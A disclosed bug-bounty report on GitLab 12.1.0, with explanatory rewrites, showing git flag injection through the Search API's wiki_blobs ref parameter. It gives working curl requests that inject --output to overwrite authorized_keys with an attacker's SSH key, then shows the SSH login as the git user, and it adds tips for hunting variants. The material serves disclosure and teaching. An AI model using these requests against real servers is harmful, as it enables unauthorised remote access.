Skip to content
RCE Disclosed report Intermediate

Git flag injection - local file overwrite to remote code execution

The Search API's wiki_blobs scope passed an unsanitised ref parameter directly to a git command, allowing an attacker to inject git flags. By injecting an output flag, an attacker could write controlled content to arbitrary files, such as the git user's SSH authorised_keys, leading to remote code execution.

vakzz Follow

Originally disclosed on HackerOne

Bounty$12,000 Critical View original
  • Triaged in under an hour
  • Fixed in 21 days
  • Paid in 12 days
  • Disclosed after 5 months

Summary

The wiki_blobs scope of the Search API can be provided with an arbitrary ref parameter, allowing for additional flags to be injected into the git command.

For example the following API call:

`curl --header "PRIVATE-TOKEN: $TOKEN" 'http://gitlab-vm.local/api/v4/projects/4/search?scope=wiki_blobs&search=page&ref=--output=/tmp/file'`

The above will generate the following git command causing the the last commit log to be written to /tmp/file

/opt/gitlab/embedded/bin/git --git-dir /var/opt/gitlab/git-data/repositories/@hashed/4b/22/4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.wiki.git log --max-count=1 --output=/tmp/file

Steps to reproduce

  1. Create a wiki new wiki page called page with the commit message controlled content
  2. Search for the wiki blob via the Search API, with the injected ref flag:
curl --header "PRIVATE-TOKEN: $TOKEN" 'http://gitlab-vm.local/api/v4/projects/5/search?scope=wiki_blobs&search=page&ref=--output=/tmp/file'
  1. See that the file has been created:
git@gitlab-vm:~$ cat /tmp/file
commit f00f9538d29b176e9dfb2eb1bfe1eab190cad3d9
Author: Administrator <[email protected]>
Date:   Wed Jul 24 13:08:51 2019 +0000

    controlled content

Impact

This can be used to overwrite /var/opt/gitlab/.ssh/authorized_keys with an attackers key by following the above steps allowing remote access and code execution.

  1. Create a new rsa key
  2. Create a new wiki page setting the commit message to the rsa public key
  3. Run the Search API with ref=--output=/var/opt/gitlab/.ssh/authorized_keys
  4. ssh into gitlab using the created key:
$ ssh [email protected] -i gitlab
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-70-generic x86_64)
$ id
uid=998(git) gid=998(git) groups=998(git)

$ cat /var/opt/gitlab/.ssh/authorized_keys
commit 00c8e52996654d02bcbdba47dc25ee73671cbfd6
Author: Administrator <[email protected]>
Date:   Wed Jul 24 12:56:23 2019 +0000

    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxsqkWZobL5DBOnM3rtE7ZDP4d9v0lABJRGJbovHHTNY2iH3x3pjjerPfLDO21Gkyfzn4J+x6O6GleMAB5nxnZRH7E44khfW6Ldql29Rv2Q/IYCsBSKxGT6RCOFusoRi1uHlQmexIh4gZkmPeFfDLTy70Xv3FpPLfKE/EiVOjuEtY9JUC4MVlPHaTzZ2HE4sZT5tvcm9YtSpjT2v0SMR8uCXcKMAx4Tsu/Un2N5UziXgtRF+vD0fRhNyKIkOtULwBgWkL5RE71vYbxOhviqTAld7r70TIWSzSUHcUewbMS5XcEdBwl3XI/9qzo+jOA0Ulf2bkkROpELBoHwfLdpu9p [email protected]

What is the current bug behavior?

The ref param is passed directly to the git command without being sanitized.

What is the expected correct behavior?

The ref param should be sanitized or used in a way that doesn't allow for flag injection

Results of GitLab environment info

$ sudo gitlab-rake gitlab:env:info

System information
System:		Ubuntu 16.04
Current User:	git
Using RVM:	no
Ruby Version:	2.6.3p62
Gem Version:	2.7.9
Bundler Version:1.17.3
Rake Version:	12.3.2
Redis Version:	3.2.12
Git Version:	2.21.0
Sidekiq Version:5.2.7
Go Version:	unknown

GitLab information
Version:	12.1.0
Revision:	295480f4553
Directory:	/opt/gitlab/embedded/service/gitlab-rails
DB Adapter:	PostgreSQL
DB Version:	10.7
URL:		http://gitlab-vm.local
HTTP Clone URL:	http://gitlab-vm.local/some-group/some-project.git
SSH Clone URL:	[email protected]:some-group/some-project.git
Using LDAP:	no
Using Omniauth:	yes
Omniauth Providers:

GitLab Shell
Version:	9.3.0
Repository storage paths:
- default: 	/var/opt/gitlab/git-data/repositories
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell
Git:		/opt/gitlab/embedded/bin/git

Impact

An attacker can overwrite or create files with mostly controlled content, allowing them to gain remote ssh access to gitlab as the git user

The original report as published on HackerOne, by vakzz. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

GitLab exposes a Search API that lets an authenticated user search across different scopes of a project. One of those scopes is wiki_blobs, which searches the contents of a project's wiki repository. A wiki in GitLab is itself a git repository, so searching it means running git commands against the wiki's .wiki.git directory on the server.

The Search API accepts a ref parameter so the caller can choose which git reference (branch, tag, commit) the search should run against. The report shows that this parameter is passed into the git command line without sanitisation, which allows an attacker to inject additional command line flags into the git invocation.

Setup

The researcher worked against a self-hosted GitLab instance reachable at http://[redacted], using a personal access token supplied in a PRIVATE-TOKEN header. The environment reported by gitlab-rake gitlab:env:info was:

Text
System information
System:		Ubuntu 16.04
Current User:	git
Using RVM:	no
Ruby Version:	2.6.3p62
Gem Version:	2.7.9
Bundler Version:1.17.3
Rake Version:	12.3.2
Redis Version:	3.2.12
Git Version:	2.21.0
Sidekiq Version:5.2.7
Go Version:	unknown

GitLab information
Version:	12.1.0
Revision:	295480f4553
Directory:	/opt/gitlab/embedded/service/gitlab-rails
DB Adapter:	PostgreSQL
DB Version:	10.7
URL:		http://[redacted]
HTTP Clone URL:	http://[redacted]/some-group/some-project.git
SSH Clone URL:	[redacted]:some-group/some-project.git
Using LDAP:	no
Using Omniauth:	yes
Omniauth Providers:

GitLab Shell
Version:	9.3.0
Repository storage paths:
- default: 	/var/opt/gitlab/git-data/repositories
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell
Git:		/opt/gitlab/embedded/bin/git

The git binary in use is /opt/gitlab/embedded/bin/git, and the wiki repositories live under /var/opt/gitlab/git-data/repositories/@hashed/.

Finding it

The ref parameter of the wiki_blobs search scope is attacker-controlled and is placed on the git command line. Because git accepts options such as --output=<file>, a value beginning with -- is interpreted by git as a flag rather than as a reference name. The researcher demonstrated this with a request that sets ref to --output=/tmp/file:

Text
`curl --header "PRIVATE-TOKEN: $TOKEN" 'http://[redacted]/api/v4/projects/4/search?scope=wiki_blobs&search=page&ref=--output=/tmp/file'`

That request causes the server to run the following git command, in which the injected flag makes git write the last commit log to /tmp/file:

Text
/opt/gitlab/embedded/bin/git --git-dir /var/opt/gitlab/git-data/repositories/@hashed/4b/22/[redacted].wiki.git log --max-count=1 --output=/tmp/file

The command is a git log with --max-count=1, and the injected --output=/tmp/file redirects the log output into a file of the attacker's choosing. The injected flag writes the log to a path chosen by the attacker, with content that is largely controlled through the commit message.

Exploitation

Step 1: create a wiki page with a controlled commit message

Create a new wiki page called page with the commit message controlled content. The commit message is what ends up in the git log output, so it is the content that will be written to the target file.

Step 2: call the Search API with the injected ref

Search for the wiki blob with the injected ref flag:

Text
curl --header "PRIVATE-TOKEN: $TOKEN" 'http://[redacted]/api/v4/projects/5/search?scope=wiki_blobs&search=page&ref=--output=/tmp/file'

Here scope=wiki_blobs selects the wiki search, search=page matches the page created in step 1, and ref=--output=/tmp/file is the injected git flag.

Step 3: confirm the file was written

Reading the file back shows the last commit log, including the commit message:

Text
git@gitlab-vm:~$ cat /tmp/file
commit [redacted]
Author: Administrator <[redacted]>
Date:   Wed Jul 24 13:08:51 2019 +0000

    controlled content

This confirms arbitrary file write with content derived from the commit message.

Step 4: turn file write into SSH access

The report notes that the write can be aimed at /var/opt/gitlab/.ssh/authorized_keys, which allows an attacker to add their own key and gain remote access and code execution. The steps are:

  1. Create a new RSA key.
  2. Create a new wiki page setting the commit message to the RSA public key.
  3. Run the Search API with ref=--output=/var/opt/gitlab/.ssh/authorized_keys.
  4. SSH into GitLab using the created key.

The result of the SSH login and the resulting authorized_keys file are shown as:

Text
$ ssh [redacted] -i gitlab
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-70-generic x86_64)
$ id
uid=998(git) gid=998(git) groups=998(git)

$ cat /var/opt/gitlab/.ssh/authorized_keys
commit [redacted]
Author: Administrator <[redacted]>
Date:   Wed Jul 24 12:56:23 2019 +0000

    ssh-rsa [redacted]+[redacted]/[redacted]/[redacted]/Un2N5UziXgtRF+[redacted]/9qzo+jOA0Ulf2bkkROpELBoHwfLdpu9p [redacted]

The login lands as the git user (uid 998). The authorized_keys file contains the commit log, including the public key line from the commit message.

Root cause

The ref parameter is passed directly to the git command without being sanitised. Because the value is placed on the command line as an argument, a value starting with -- is parsed by git as an option rather than as a reference. Git's --output option then writes the command's output to an arbitrary path. The report states the bug behaviour plainly: the ref param is passed directly to the git command without being sanitised. The expected behaviour is that the ref param should be sanitised, or used in a way that does not allow flag injection.

Impact

An attacker can overwrite or create files with mostly controlled content. By targeting /var/opt/gitlab/.ssh/authorized_keys, this allows them to gain remote SSH access to GitLab as the git user, and from there code execution. The content written is the git log output, so the attacker controls the commit message portion of the file; the surrounding commit metadata is generated by git. The report's own summary of impact is that an attacker can overwrite or create files with mostly controlled content, allowing them to gain remote ssh access to gitlab as the git user.

Fix

The report does not describe a specific patch. It states the expected correct behaviour: the ref param should be sanitised, or used in a way that does not allow for flag injection.

Variants to test

  • Other API endpoints that accept a ref, branch, tag or revision parameter and pass it to git. A positive result is a request whose ref value starts with -- and produces a git error or side effect that reveals the flag was parsed as an option.
  • Other git subcommands reachable through the same parameter. The report shows git log; any subcommand that supports an output or file-writing option is worth checking.
  • File-write targets beyond /tmp. A positive result is a file appearing at a path the attacker chose, with content derived from a commit message or other attacker-controlled text.
  • SSH key injection via authorized_keys. A positive result is a successful SSH login as the service account using a key that was placed through the file write.

Hunting notes

This class of bug hides wherever user input is concatenated into a command line for a tool that accepts long options. Search features, repository browsers, diff viewers and anything that shells out to git with a user-supplied revision are the obvious places. The signal during recon is a parameter whose value looks like a reference name but is not validated against a reference format; trying a value beginning with -- and watching for a change in behaviour is the quick test. The researcher escalated from a write to /tmp to writing authorized_keys and logging in over SSH as the git user, showing how the flag injection can lead to remote access and code execution.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

GitLab is a website where teams keep their code and documentation. One of its features is a wiki: a set of pages attached to a project, which anyone with the right permissions can edit. Behind the scenes, GitLab stores each wiki as a git repository, which is a folder of files whose history is tracked by the git program.

GitLab also offers an API. An API is a way for a program, rather than a person clicking buttons, to talk to a website: you send a request to a special address and get data back. GitLab's Search API lets a logged-in user search inside a project, and one of the things it can search is the wiki. To do that, the server runs a git command on the wiki's folder.

The Search API lets the caller say which version of the wiki to search, using a parameter called ref. A ref is git's name for a branch, tag or commit, in other words a particular point in the history. The report shows that whatever value you put in ref is pasted straight into the git command line without being checked. That means an attacker can put something that is not a version name at all, but an extra instruction for git, and git will obey it.

The instruction the researcher used is --output=<file>, which tells git to write its output into a file. Because the attacker chooses the file path, this becomes a way to create or overwrite any file the GitLab server process is allowed to write. The content of that file is the output of a git command, which includes text the attacker controls, namely the message attached to a wiki edit.

From there the researcher went further: by writing into the file that lists which SSH keys may log in to the server, they added their own key and logged in as the git user. SSH is the standard way to open a remote terminal on a Linux machine. So a search feature ended up giving remote access to the server.

Context

GitLab exposes a Search API that lets an authenticated user search across different scopes of a project. A scope is simply which part of the project you want to search: code, issues, wiki pages and so on. One of those scopes is wiki_blobs, which searches the contents of a project's wiki repository. A wiki in GitLab is itself a git repository, so searching it means running git commands against the wiki's .wiki.git directory on the server.

The Search API accepts a ref parameter so the caller can choose which git reference (branch, tag, commit) the search should run against. The report shows that this parameter is passed into the git command line without sanitisation, which allows an attacker to inject additional command line flags into the git invocation.

Two ideas are worth unpacking here. A command line flag is an extra word you add after a program's name to change what it does, for example --output=/tmp/file tells a program to send its result to a file instead of the screen. Sanitisation means cleaning or checking input before using it, the way a form might reject letters in a phone number field. When input is not sanitised and is glued into a command, the person sending the input can add flags of their own. That is called flag injection.

Setup

The researcher worked against a self-hosted GitLab instance reachable at http://[redacted], using a personal access token supplied in a PRIVATE-TOKEN header. A personal access token is a long random string that acts like a password for the API: instead of logging in through a browser, a program sends the token with each request and the server knows who is asking. A header is a small labelled line sent along with an HTTP request, carrying extra information such as the token. The token itself is a secret and is shown here as $TOKEN, a placeholder for the real value.

The environment reported by gitlab-rake gitlab:env:info was:

Text
System information
System:		Ubuntu 16.04
Current User:	git
Using RVM:	no
Ruby Version:	2.6.3p62
Gem Version:	2.7.9
Bundler Version:1.17.3
Rake Version:	12.3.2
Redis Version:	3.2.12
Git Version:	2.21.0
Sidekiq Version:5.2.7
Go Version:	unknown

GitLab information
Version:	12.1.0
Revision:	295480f4553
Directory:	/opt/gitlab/embedded/service/gitlab-rails
DB Adapter:	PostgreSQL
DB Version:	10.7
URL:		http://[redacted]
HTTP Clone URL:	http://[redacted]/some-group/some-project.git
SSH Clone URL:	[redacted]:some-group/some-project.git
Using LDAP:	no
Using Omniauth:	yes
Omniauth Providers:

GitLab Shell
Version:	9.3.0
Repository storage paths:
- default: 	/var/opt/gitlab/git-data/repositories
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell
Git:		/opt/gitlab/embedded/bin/git

This block is a standard health report that GitLab can print about itself. Reading it line by line: the operating system is Ubuntu 16.04 and the server process runs as the user git; the Ruby version, Gem version, Bundler version, Rake version, Redis version, Git version, Sidekiq version and Go version are the versions of the various pieces of software GitLab is built from. Under GitLab information, Version: 12.1.0 is the GitLab release, Revision identifies the exact code build, Directory is where the application files live, DB Adapter: PostgreSQL and DB Version: 10.7 describe the database, and URL is the address of the instance. The HTTP and SSH clone URLs show how projects are fetched over the web and over SSH. LDAP and Omniauth are external login systems, and the report notes LDAP is off and Omniauth is on. Under GitLab Shell, Version: 9.3.0 is the component that handles git access, the repository storage path is where project data is kept, and the last line gives the full path of the git program, /opt/gitlab/embedded/bin/git.

The git binary in use is /opt/gitlab/embedded/bin/git, and the wiki repositories live under /var/opt/gitlab/git-data/repositories/@hashed/.

Finding it

The ref parameter of the wiki_blobs search scope is attacker-controlled and is placed on the git command line. Because git accepts options such as --output=<file>, a value beginning with -- is interpreted by git as a flag rather than as a reference name. The researcher demonstrated this with a request that sets ref to --output=/tmp/file:

Text
`curl --header "PRIVATE-TOKEN: $TOKEN" 'http://[redacted]/api/v4/projects/4/search?scope=wiki_blobs&search=page&ref=--output=/tmp/file'`

This is a single command sent from a terminal. curl is a program that fetches a web address and prints the reply, the same way a browser does but without a window. --header "PRIVATE-TOKEN: $TOKEN" attaches the access token so the server treats the request as coming from a logged-in user. The address in quotes is the API call: /api/v4/ marks it as the version 4 API, projects/4 picks project number 4, search is the search endpoint, scope=wiki_blobs says to search wiki contents, search=page is the word being looked for, and ref=--output=/tmp/file is the injected value. /tmp/file is a scratch file path on the server. The backticks around the whole thing are just how the command was quoted in the report.

That request causes the server to run the following git command, in which the injected flag makes git write the last commit log to /tmp/file:

Text
/opt/gitlab/embedded/bin/git --git-dir /var/opt/gitlab/git-data/repositories/@hashed/4b/22/[redacted].wiki.git log --max-count=1 --output=/tmp/file

Reading it left to right: /opt/gitlab/embedded/bin/git is the git program; --git-dir followed by a long path tells git which repository folder to work on, here a wiki repository stored under a hashed directory name; log is the git subcommand that shows the history of commits; --max-count=1 limits it to the most recent commit; and --output=/tmp/file is the attacker's value, which git treats as its own option and uses to send the log into /tmp/file.

The command is a git log with --max-count=1, and the injected --output=/tmp/file redirects the log output into a file of the attacker's choosing. The injected flag writes the log to a path chosen by the attacker, with content that is largely controlled through the commit message. A commit message is the short note a person writes when saving a change, like a caption on a photo, and it appears in the log output.

Exploitation

Step 1: create a wiki page with a controlled commit message

Create a new wiki page called page with the commit message controlled content. The commit message is what ends up in the git log output, so it is the content that will be written to the target file. This step matters because the attacker needs to plant the text they want written; the file write itself only copies whatever the log contains.

Step 2: call the Search API with the injected ref

Search for the wiki blob with the injected ref flag:

Text
curl --header "PRIVATE-TOKEN: $TOKEN" 'http://[redacted]/api/v4/projects/5/search?scope=wiki_blobs&search=page&ref=--output=/tmp/file'

This is the same request as before, aimed at project 5 instead of project 4. Here scope=wiki_blobs selects the wiki search, search=page matches the page created in step 1, and ref=--output=/tmp/file is the injected git flag. The token header proves the caller is allowed to search, and the server then builds the git command with the unvalidated ref value inside it.

Step 3: confirm the file was written

Reading the file back shows the last commit log, including the commit message:

Text
git@gitlab-vm:~$ cat /tmp/file
commit [redacted]
Author: Administrator <[redacted]>
Date:   Wed Jul 24 13:08:51 2019 +0000

    controlled content

The first line is the shell prompt: the user git on the machine gitlab-vm, and cat /tmp/file is the command that prints a file's contents. What follows is the log entry: commit and a long identifier for the commit, the author line, the date, and then the commit message controlled content. This confirms arbitrary file write with content derived from the commit message.

Step 4: turn file write into SSH access

The report notes that the write can be aimed at /var/opt/gitlab/.ssh/authorized_keys, which allows an attacker to add their own key and gain remote access and code execution. The authorized_keys file is the list of public keys that a Linux server accepts for SSH logins: if your key is in that list, you can open a terminal on the machine without typing a password. A public key is the half of a key pair that is safe to share; the matching private key stays with the owner and proves their identity. The steps are:

  1. Create a new RSA key.
  2. Create a new wiki page setting the commit message to the RSA public key.
  3. Run the Search API with ref=--output=/var/opt/gitlab/.ssh/authorized_keys.
  4. SSH into GitLab using the created key.

The result of the SSH login and the resulting authorized_keys file are shown as:

Text
$ ssh [redacted] -i gitlab
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-70-generic x86_64)
$ id
uid=998(git) gid=998(git) groups=998(git)

$ cat /var/opt/gitlab/.ssh/authorized_keys
commit [redacted]
Author: Administrator <[redacted]>
Date:   Wed Jul 24 12:56:23 2019 +0000

    ssh-rsa [redacted]+[redacted]/[redacted]/[redacted]/Un2N5UziXgtRF+[redacted]/9qzo+jOA0Ulf2bkkROpELBoHwfLdpu9p [redacted]

The first line is the SSH command: ssh opens a remote terminal, [redacted] means log in as the user git on that machine, and -i gitlab says to use the private key stored in a file called gitlab. The welcome line shows the remote system. id is a command that prints who you are on that machine, and the answer is uid=998(git), meaning the session is running as the git user with user id 998. The last command prints the authorized_keys file, which now contains the git log: the commit identifier, author, date, and the commit message, which is the attacker's public key line beginning ssh-rsa. The login lands as the git user (uid 998). The authorized_keys file contains the commit log, including the public key line from the commit message.

Root cause

The ref parameter is passed directly to the git command without being sanitised. Because the value is placed on the command line as an argument, a value starting with -- is parsed by git as an option rather than as a reference. Git's --output option then writes the command's output to an arbitrary path. The report states the bug behaviour plainly: the ref param is passed directly to the git command without being sanitised. The expected behaviour is that the ref param should be sanitised, or used in a way that does not allow flag injection.

A useful comparison is a cloakroom. If the attendant takes whatever ticket you hand over and fetches the matching coat, all is well. If instead the attendant reads your ticket as an instruction, for example "hand over the keys to the safe", the system has confused data with commands. Here the ref value is data that git should treat as a name, but because it starts with -- git treats it as an instruction.

Impact

An attacker can overwrite or create files with mostly controlled content. By targeting /var/opt/gitlab/.ssh/authorized_keys, this allows them to gain remote SSH access to GitLab as the git user, and from there code execution. Code execution means running your own commands on the machine, which is the strongest form of access an attacker can get. The content written is the git log output, so the attacker controls the commit message portion of the file; the surrounding commit metadata is generated by git. The report's own summary of impact is that an attacker can overwrite or create files with mostly controlled content, allowing them to gain remote ssh access to gitlab as the git user.

Fix

The report does not describe a specific patch. It states the expected correct behaviour: the ref param should be sanitised, or used in a way that does not allow for flag injection.

Variants to test

  • Other API endpoints that accept a ref, branch, tag or revision parameter and pass it to git. A positive result is a request whose ref value starts with -- and produces a git error or side effect that reveals the flag was parsed as an option.
  • Other git subcommands reachable through the same parameter. The report shows git log; any subcommand that supports an output or file-writing option is worth checking.
  • File-write targets beyond /tmp. A positive result is a file appearing at a path the attacker chose, with content derived from a commit message or other attacker-controlled text.
  • SSH key injection via authorized_keys. A positive result is a successful SSH login as the service account using a key that was placed through the file write.

Hunting notes

This class of bug hides wherever user input is concatenated into a command line for a tool that accepts long options. Search features, repository browsers, diff viewers and anything that shells out to git with a user-supplied revision are the obvious places. The signal during recon is a parameter whose value looks like a reference name but is not validated against a reference format; trying a value beginning with -- and watching for a change in behaviour is the quick test. The researcher escalated from a write to /tmp to writing authorized_keys and logging in over SSH as the git user, showing how the flag injection can lead to remote access and code execution.

Glossary

  • API: a way for one program to talk to another over the network, usually by sending a request to a special address and receiving data back.
  • Argument: a word or value placed after a program's name on a command line to tell it what to work on.
  • Authorised keys: a file on a Linux server listing the public keys that may log in over SSH without a password.
  • Branch: a named line of development in a git repository.
  • Code execution: the ability to run your own commands on a machine.
  • Commit: a saved snapshot of changes in a git repository, with an identifier, author, date and message.
  • Commit message: the short note written when saving a commit, which appears in the repository history.
  • curl: a command line program that sends web requests and prints the responses.
  • Flag: an extra word starting with - or -- that changes how a command line program behaves.
  • Flag injection: slipping extra flags into a command through input that is not checked, so the program does something the author did not intend.
  • git: the version control program that tracks changes to files and keeps their history.
  • GitLab: a website for hosting code and project documentation, including wikis.
  • Header: an extra labelled line sent with a web request or response, carrying information such as a token.
  • HTTP: the protocol browsers and programs use to fetch web pages and call APIs.
  • LDAP: a directory service often used by companies to manage logins centrally.
  • Omniauth: a GitLab component for logging in through external providers.
  • Parameter: a named value in a web address or request, such as ref or scope.
  • Personal access token: a long random string that acts as a password for API requests.
  • PostgreSQL: a database system used to store application data.
  • Private key: the secret half of a key pair, kept by its owner and used to prove identity.
  • Public key: the shareable half of a key pair, placed on servers to allow logins.
  • Ref: git's name for a branch, tag or commit, meaning a particular point in history.
  • Repository: a folder whose files and history are tracked by git.
  • RSA key: a type of public and private key pair used for secure logins.
  • Sanitisation: checking or cleaning input before using it, so it cannot be interpreted as something else.
  • Scope: in the Search API, which part of a project to search, such as code or wiki contents.
  • Search API: the GitLab API endpoint that performs searches.
  • Sidekiq: a background job system used by GitLab.
  • SSH: a protocol for opening a secure terminal session on a remote machine.
  • Token: a secret string used to prove identity to a service.
  • Wiki: a set of editable pages attached to a project, stored by GitLab as a git repository.
  • wiki_blobs: the Search API scope that searches the contents of a project's wiki.

More by vakzz

View all

24 more disclosed reports, best first.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.